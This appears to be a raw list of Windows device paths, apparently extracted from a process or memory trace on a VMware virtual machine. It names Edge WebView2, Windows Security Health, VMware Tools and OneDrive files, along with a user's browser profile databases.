\Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vulkan-1.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\wdag.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\wns_push_client.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded\ad-selection-attestations.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded\manifest.json \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO\ie_to_edge_bho.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO\ie_to_edge_bho_64.dll \Device\HarddiskVolume3\Windows\System32\gpapi.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\EBWebView \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_feedback \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_feedback\camera_mf_trace.wprp \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_feedback\mf_trace.wprp \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist\EdgeGameAssist.msix \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist\VERSION \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions\external_extensions.json \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthCore.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthUdk.dll::$EA \Device\HarddiskVolume3\Windows\System32\SecurityHealthUdk.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthProxyStub.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\setup.exe \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Windows\System32\urlmon.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\System32\TenantRestrictionsPlugin.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\ntmarta.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\af.pak \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\EdgeJourneys\EdgeJourneys.db \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\am.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\as.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bg.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bn-IN.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bs.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ca.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_af.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_am.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ar.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_as.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_az.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_bg.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_bn-IN.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_bs.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_el.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_en-US.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es-419.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lb.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_pt-PT.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_qu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ro.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ru.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sk.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sl.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sq.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sr-Cyrl-BA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sr-Latn-RS.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_sv.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ta.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_te.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_th.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_tr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_tt.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ug.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_uk.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ur.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\es.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\pt-PT.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sr-Latn-RS.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ug.pak \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\heavy_ad_intervention_opt_out.db \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\heavy_ad_intervention_opt_out.db-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\EdgeJourneys \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network Action Predictor-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\7146fd98-803c-4fcc-a4c9-bf7fd02ea19a.tmp Immersive Shell Hang Detection Thread ThreadPoolSingleThreadSharedForegroundBlocking11 \Device\HarddiskVolume3\Windows\System32\ncrypt.dll \Device\HarddiskVolume3\Windows\System32\ntasn1.dll \Device\HarddiskVolume3\Windows\System32\UserMgrProxy.dll \Device\HarddiskVolume3\Windows\System32\PCPKsp.dll \Device\HarddiskVolume3\Windows\System32\tbs.dll \Device\HarddiskVolume3\Windows\System32\ncryptprov.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsSiteData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG.old~RFf898.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG.old~RFf898.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsSiteData-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOG.old~RFf8a8.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase\LOG.old~RFf8a8.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOG.old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOG e - \Device\HarddiskVolume3\Windows\System32\atlthunk.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\msctf.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\en-US\SecurityHealthSSO.dll.mui \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\bcd.dll \Device\HarddiskVolume3\Windows\System32\bcd.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\fveapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll::$EA \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\Win32_DeviceGuard.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\miutils.dll \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\bcd.dll \Device\HarddiskVolume3\Windows\System32\bcd.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\System32\fveapi.dll \Device\HarddiskVolume3\Windows\System32\fveapi.dll \Device\HarddiskVolume3\Windows\System32\fveapi.dll \Device\HarddiskVolume3\Windows\System32\fveapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\TpmCoreProvisioning.dll \Device\HarddiskVolume3\Windows\System32\TpmCoreProvisioning.dll \Device\HarddiskVolume3\Windows\System32\plutonapi.dll \Device\HarddiskVolume3\Windows\System32\plutonapi.dll \Device\HarddiskVolume3\Windows\System32\plutonapi.dll \Device\HarddiskVolume3\Windows\System32\plutonapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Program Files\desktop.ini ce\ e"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr\darkModeSync.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr\desktopEvents.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\sigc-3.0-0.dll \Device\HarddiskVolume3\Windows\System32\mfc140u.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\version.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\gmodule-2.0-0.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\gobject-2.0-0.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\glib-2.0-0.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\pcre2-8.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\msctf.dll \Device\HarddiskVolume3\Windows\System32\vsocklib.dll pool-spawner F060 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\common\hgfsUsability.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\samcli.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr\darkModeSync.dll \Device\HarddiskVolume3\Windows\System32\msvcp140.dll \Device\HarddiskVolume3\Windows\System32\mfc140u.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\TextInputFramework.dll \Device\HarddiskVolume3\Windows\System32\CoreUIComponents.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\DataExchange.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex e"C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Qml.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Qml.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ucrtbase.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ucrtbase.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\telemetry-dll-ramp-value.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WebView2Loader.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WebView2Loader.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncCxP.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncCxP.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncViews.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncViews.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LogUploader.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5WinExtras.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5WinExtras.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5QmlModels.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5QmlModels.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Core.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Core.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LogUploader.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\apphelp.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\secur32.dll \Device\HarddiskVolume3\Windows\System32\wininet.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ucrtbase.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncRNWin32Lib.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0759.3664.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0759.3664.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\general.keystore 